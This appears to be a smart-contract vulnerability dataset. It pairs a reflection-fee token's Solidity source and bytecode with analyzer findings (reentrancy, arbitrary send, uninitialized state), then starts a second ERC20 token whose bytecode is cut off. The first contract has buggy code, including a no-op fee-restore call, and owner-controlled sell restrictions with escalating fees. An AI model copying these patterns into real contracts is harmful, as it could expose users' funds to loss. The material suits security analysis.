function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 8;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 8;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function afterPreSaleState() external onlyOwner {
afterPreSale = true;
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
tradingOpen = true;
}
function preSaleState() public view returns (bool) {
return afterPreSale;
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c9567bf911610064578063c9567bf914610337578063d543dbeb1461034c578063dd62ed3e1461036c578063e8078d94146103b2578063e9324444146103c757600080fd5b80638da5cb5b1461029957806395d89b41146102c1578063a11c1591146102ed578063a9059cbb14610302578063c3c8cd801461032257600080fd5b8063313ce567116100e7578063313ce567146102115780635932ead11461022d5780636fc3eaec1461024f57806370a0823114610264578063715018a61461028457600080fd5b806306fdde031461012f57806307efbfdc1461017a578063095ea7b3146101ab57806318160ddd146101cb57806323b872dd146101f157600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152601081526f53657269756d20496e76657374696e6760801b60208201525b6040516101719190611b9b565b60405180910390f35b34801561018657600080fd5b5060125461019b90600160c81b900460ff1681565b6040519015158152602001610171565b3480156101b757600080fd5b5061019b6101c6366004611af3565b6103e6565b3480156101d757600080fd5b50683635c9adc5dea000005b604051908152602001610171565b3480156101fd57600080fd5b5061019b61020c366004611ab3565b6103fd565b34801561021d57600080fd5b5060405160098152602001610171565b34801561023957600080fd5b5061024d610248366004611b1e565b610466565b005b34801561025b57600080fd5b5061024d6104b7565b34801561027057600080fd5b506101e361027f366004611a43565b6104e4565b34801561029057600080fd5b5061024d610506565b3480156102a557600080fd5b506000546040516001600160a01b039091168152602001610171565b3480156102cd57600080fd5b5060408051808201909152600381526253524d60e81b6020820152610164565b3480156102f957600080fd5b5061024d61057a565b34801561030e57600080fd5b5061019b61031d366004611af3565b6105cf565b34801561032e57600080fd5b5061024d6105dc565b34801561034357600080fd5b5061024d610612565b34801561035857600080fd5b5061024d610367366004611b56565b610667565b34801561037857600080fd5b506101e3610387366004611a7b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103be57600080fd5b5061024d61073a565b3480156103d357600080fd5b50601254600160c81b900460ff1661019b565b60006103f3338484610aa7565b5060015b92915050565b600061040a848484610bcb565b61045c843361045785604051806060016040528060288152602001611d56602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611294565b610aa7565b5060019392505050565b6000546001600160a01b031633146104995760405162461bcd60e51b815260040161049090611bee565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b0316146104d757600080fd5b476104e1816112ce565b50565b6001600160a01b0381166000908152600260205260408120546103f790611353565b6000546001600160a01b031633146105305760405162461bcd60e51b815260040161049090611bee565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161049090611bee565b601280546729a2241af62c000060135565ffffff00ffff60a01b19166501010100010160a01b179055565b60006103f3338484610bcb565b600f546001600160a01b0316336001600160a01b0316146105fc57600080fd5b6000610607306104e4565b90506104e1816113d7565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161049090611bee565b601254600160a81b900460ff1661065257600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161049090611bee565b600081116106e15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610490565b6106ff60646106f9683635c9adc5dea000008461157c565b906115fb565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161049090611bee565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a13082683635c9adc5dea00000610aa7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107da57600080fd5b505afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108129190611a5f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085a57600080fd5b505afa15801561086e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108929190611a5f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109129190611a5f565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610942816104e4565b6000806109576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ba57600080fd5b505af11580156109ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f39190611b6e565b50506012805463ffff00ff60a81b198116630101000160a81b179091556729a2241af62c000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190611b3a565b5050565b6001600160a01b038316610b095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b038216610b6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610c915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b60008111610cf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b6000546001600160a01b03848116911614801590610d1f57506000546001600160a01b03838116911614155b1561123757601254600160c01b900460ff1615610e06576001600160a01b0383163014801590610d5857506001600160a01b0382163014155b8015610d7257506011546001600160a01b03848116911614155b8015610d8c57506011546001600160a01b03838116911614155b15610e06576011546001600160a01b0316336001600160a01b03161480610dc657506012546001600160a01b0316336001600160a01b0316145b610e065760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610490565b6001600160a01b0383166000908152600a602052604090205460ff16158015610e4857506001600160a01b0382166000908152600a602052604090205460ff16155b610e5157600080fd5b6012546001600160a01b038481169116148015610e7c57506011546001600160a01b03838116911614155b8015610ea157506001600160a01b03821660009081526005602052604090205460ff16155b8015610eb65750601254600160c01b900460ff165b15610f3457601254600160a01b900460ff16610ed157600080fd5b601354811115610ee057600080fd5b6001600160a01b0382166000908152600b60205260409020544211610f0457600080fd5b610f0f42601e611c93565b6001600160a01b0383166000908152600b602052604090205560086009819055600290555b6000610f3f306104e4565b601254909150600160b01b900460ff16158015610f6a57506012546001600160a01b03858116911614155b8015610f7f5750601254600160b81b900460ff165b1561123557601254610fad906064906106f990600390610fa7906001600160a01b03166104e4565b9061157c565b8211158015610fbe57506013548211155b610fc757600080fd5b6001600160a01b0384166000908152600c60205260409020544211610feb57600080fd5b6001600160a01b0384166000908152600d602052604090205442906110139062015180611c93565b1015611033576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e60205260409020546110c0576001600160a01b0384166000908152600e6020526040812080549161107483611d01565b90915550506001600160a01b0384166000908152600d6020526040902042908190556110a290610e10611c93565b6001600160a01b0385166000908152600c60205260409020556111f8565b6001600160a01b0384166000908152600e602052604090205460011415611117576001600160a01b0384166000908152600e6020526040812080549161110583611d01565b909155506110a2905042611c20611c93565b6001600160a01b0384166000908152600e60205260409020546002141561116e576001600160a01b0384166000908152600e6020526040812080549161115c83611d01565b909155506110a2905042615460611c93565b6001600160a01b0384166000908152600e6020526040902054600314156111f8576001600160a01b0384166000908152600e602052604081208054916111b383611d01565b90915550506001600160a01b0384166000908152600d60205260409020546111de9062015180611c93565b6001600160a01b0385166000908152600c60205260409020555b611201816113d7565b47801561121157611211476112ce565b6001600160a01b0385166000908152600e60205260409020546112339061163d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061127957506001600160a01b03831660009081526005602052604090205460ff165b15611282575060005b61128e8484848461165f565b50505050565b600081848411156112b85760405162461bcd60e51b81526004016104909190611b9b565b5060006112c58486611cea565b95945050505050565b600f546001600160a01b03166108fc6112e88360026115fb565b6040518115909202916000818181858888f19350505050158015611310573d6000803e3d6000fd5b506010546001600160a01b03166108fc61132b8360026115fb565b6040518115909202916000818181858888f19350505050158015610aa3573d6000803e3d6000fd5b60006006548211156113ba5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610490565b60006113c461168b565b90506113d083826115fb565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148157600080fd5b505afa158015611495573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b99190611a5f565b816001815181106114da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546115009130911684610aa7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611539908590600090869030904290600401611c23565b600060405180830381600087803b15801561155357600080fd5b505af1158015611567573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261158b575060006103f7565b60006115978385611ccb565b9050826115a48583611cab565b146113d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b60006113d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ae565b8060085461164b9190611ccb565b60085560018111156104e157600a60095550565b8061166c5761166c6116dc565b6116778484846116ff565b8061128e5761128e60076008908155600955565b60008060006116986117f6565b90925090506116a782826115fb565b9250505090565b600081836116cf5760405162461bcd60e51b81526004016104909190611b9b565b5060006112c58486611cab565b6008541580156116ec5750600954155b156116f357565b60006008819055600955565b60008060008060008061171187611838565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117439087611895565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177290866118d7565b6001600160a01b03891660009081526002602052604090205561179481611936565b61179e8483611980565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061181282826115fb565b82101561182f57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118558a6008546009546119a4565b925092509250600061186561168b565b905060008060006118788e8787876119f3565b919e509c509a509598509396509194505050505091939550919395565b60006113d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611294565b6000806118e48385611c93565b9050838110156113d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b600061194061168b565b9050600061194e838361157c565b3060009081526002602052604090205490915061196b90826118d7565b30600090815260026020526040902055505050565b60065461198d9083611895565b60065560075461199d90826118d7565b6007555050565b60008080806119b860646106f9898961157c565b905060006119cb60646106f98a8961157c565b905060006119e3826119dd8b86611895565b90611895565b9992985090965090945050505050565b6000808080611a02888661157c565b90506000611a10888761157c565b90506000611a1e888861157c565b90506000611a30826119dd8686611895565b939b939a50919850919650505050505050565b600060208284031215611a54578081fd5b81356113d081611d32565b600060208284031215611a70578081fd5b81516113d081611d32565b60008060408385031215611a8d578081fd5b8235611a9881611d32565b91506020830135611aa881611d32565b809150509250929050565b600080600060608486031215611ac7578081fd5b8335611ad281611d32565b92506020840135611ae281611d32565b929592945050506040919091013590565b60008060408385031215611b05578182fd5b8235611b1081611d32565b946020939093013593505050565b600060208284031215611b2f578081fd5b81356113d081611d47565b600060208284031215611b4b578081fd5b81516113d081611d47565b600060208284031215611b67578081fd5b5035919050565b600080600060608486031215611b82578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bc757858101830151858201604001528201611bab565b81811115611bd85783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c725784516001600160a01b031683529383019391830191600101611c4d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ca657611ca6611d1c565b500190565b600082611cc657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce557611ce5611d1c565b500290565b600082821015611cfc57611cfc611d1c565b500390565b6000600019821415611d1557611d15611d1c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104e157600080fd5b80151581146104e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208399a0ea51237f0c0fcd7763d6d028e0363bc482d5c49196dd1dcfd29e37cdff64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,923 |
0xb850067b93312028f821b0c772dd2199383d8d8f
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title Fan Coin Token
* @dev Token representing Scallop Coin.
*/
contract ETHERFLEXCoin is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
constructor(address wallet) public
{
owner = wallet;
totalSupply = uint(51000000).mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = "ETHERFLEX COIN";
symbol = "EFC";
balances[wallet] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063289de615146101dc578063313ce567146102d657806342966c681461030157806370a082311461031b5780638da5cb5b1461033c57806395d89b411461036d578063a9059cbb14610382578063dd62ed3e146103a6578063f2fde38b146103cd575b600080fd5b3480156100d557600080fd5b506100de6103ee565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a036004351660243561047c565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06104e2565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356104e8565b3480156101e857600080fd5b506101f16106a2565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610238578181015183820152602001610220565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610298578181015183820152602001610280565b50505050905090810190601f1680156102c55780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156102e257600080fd5b506102eb6107e3565b6040805160ff9092168252519081900360200190f35b34801561030d57600080fd5b506103196004356107ec565b005b34801561032757600080fd5b506101a0600160a060020a036004351661089f565b34801561034857600080fd5b506103516108ba565b60408051600160a060020a039092168252519081900360200190f35b34801561037957600080fd5b506100de6108c9565b34801561038e57600080fd5b50610177600160a060020a0360043516602435610924565b3480156103b257600080fd5b506101a0600160a060020a0360043581169060243516610a47565b3480156103d957600080fd5b50610319600160a060020a0360043516610a72565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104745780601f1061044957610100808354040283529160200191610474565b820191906000526020600020905b81548152906001019060200180831161045757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b6000600160a060020a03831615156104ff57600080fd5b600160a060020a03841660009081526001602052604090205482111561052457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561055457600080fd5b60008211801561058a5750600160a060020a038316600090815260016020526040902054610588818463ffffffff610b0716565b115b151561059557600080fd5b600160a060020a0384166000908152600160205260409020546105be908363ffffffff610b2116565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105f3908363ffffffff610b0716565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610637908363ffffffff610b2116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f5